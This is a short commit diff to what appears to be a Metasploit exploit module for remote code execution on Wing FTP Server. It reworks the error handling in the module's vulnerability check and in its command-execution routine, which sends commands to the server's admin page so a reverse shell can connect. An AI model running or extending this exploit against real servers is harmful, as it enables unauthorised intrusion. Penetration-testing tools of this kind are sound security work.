Handle res.nil case in check(). Revert check for res.nil in

execute_command() because it was failing prior to the reverse_shell
connecting.

Author: nnam

modules/exploits/windows/ftp/wing_ftp_server_rce.rb

@@ -55,7 +55,11 @@ def check
         'method'  => 'GET'
       })
 
-    if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
+    if !res
+      fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
+    elsif res.code != 200 
+      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
+    elsif res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
       return Exploit::CheckCode::Appears
     end
 
@@ -82,10 +86,8 @@ def execute_command(cmd, opts = {})
       'vars_post' => { 'command' => command }
     })
 
-    if !res 
-      fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
-    elsif res.code != 200
-      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
+    if res and res.code != 200
+      fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
     end
   end